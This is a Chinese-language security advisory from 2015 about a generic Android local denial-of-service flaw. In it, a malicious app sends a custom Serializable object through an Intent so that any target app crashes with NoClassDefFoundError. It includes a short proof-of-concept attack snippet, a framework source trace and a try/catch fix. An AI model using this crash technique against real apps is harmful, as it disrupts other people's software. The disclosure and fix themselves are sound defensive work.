mpqitmp 2015-09-18
“超级拒绝服务漏洞”是一个安卓通用型拒绝服务漏洞,恶意攻击者可能利用此漏洞让手机中的任意应用崩溃无法正常工作,几乎影响目前市面上所有的安卓APP应用。
漏洞分析:
0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。
针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra()的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。
漏洞应用代码片段:
Intenti=getIntent();
if(i.getAction().equals("serializable_action")){
i.getSerializableExtra("serializable_key");//未做异常判断
}
攻击应用代码片段:
Intenti=newIntent();
i.setAction("serializable_action");
i.setClassName("com.exp.serializable","com.exp.serializable.MainActivity");
i.putExtra("seriadddddlizable_dkey",XXX);//此处是传入畸形数据
startActivity(i);
比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。
但后来交流中发现,当传入一个自定义的序列化对象Serializable或getParcelable对象时,接收Intent的目标组件在getSerializableExtra()、getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。这是因为,当你给漏洞应用传入一个应用本身并没有的序列化类对象,在应用上下文中肯定是找不到这个类的。
自定义的序列化类很简单:
publicclassDataSchemaimplementsSerializable{
privatestaticfinallongserialVersionUID=-3601187837704976264L;
publicDataSchema(){
super();
}
}
对应的攻击代码中XXX处传入newDataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。
随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()、getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。
测试app代码片段:
protectedvoidonCreate(BundlesavedInstanceState){
Intentintent=getIntent();
intent.getStringExtra("ROIS");//此处依然会由于NoClassDefFoundErrorcrash
}
接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。
/frameworks/base/core/java/android/content/Intent.java
publicStringgetStringExtra(Stringname){
returnmExtras==null?null:mExtras.getString(name);
}
/frameworks/base/core/java/android/os/Bundle.java
publicStringgetString(Stringkey){
unparcel();//处理数据
...
}
/*package*/synchronizedvoidunparcel(){
...
mParcelledData.readMapInternal(mMap,N,mClassLoader);
...
}
/frameworks/base/core/java/android/os/Parcel.java
readMapInternal解析传递进来的数据
/*package*/voidreadMapInternal(MapoutVal,intN,
ClassLoaderloader){
while(N>0){
Objectkey=readValue(loader);
Objectvalue=readValue(loader);
outVal.put(key,value);
N--;
}
}
最后当解析到Serializable对象时,由于加载不到类,抛出异常
publicfinalSerializablereadSerializable(){
...
try{
ObjectInputStreamois=newObjectInputStream(bais);
return(Serializable)ois.readObject();
}catch(IOExceptionioe){
thrownewRuntimeException("Parcelableencountered"+
"IOExceptionreadingaSerializableobject(name="+name+
")",ioe);
}catch(ClassNotFoundExceptioncnfe){
thrownewRuntimeException("Parcelableencountered"+
"ClassNotFoundExceptionreadingaSerializableobject(name="
+name+")",cnfe);
}
}
但是回头想想,谷歌肯定不是认为这是android的漏洞,开发者只要加个trycatch捕获异常就可以了。
漏洞检测:
爱内测开发了一个自动化的检测工具,开发者可以进行漏洞检测。检测工具:http://www.ineice.com/
漏洞修复:
不管是get什么extra,只要是getXXXExtra(),加上trycatch捕获异常即可。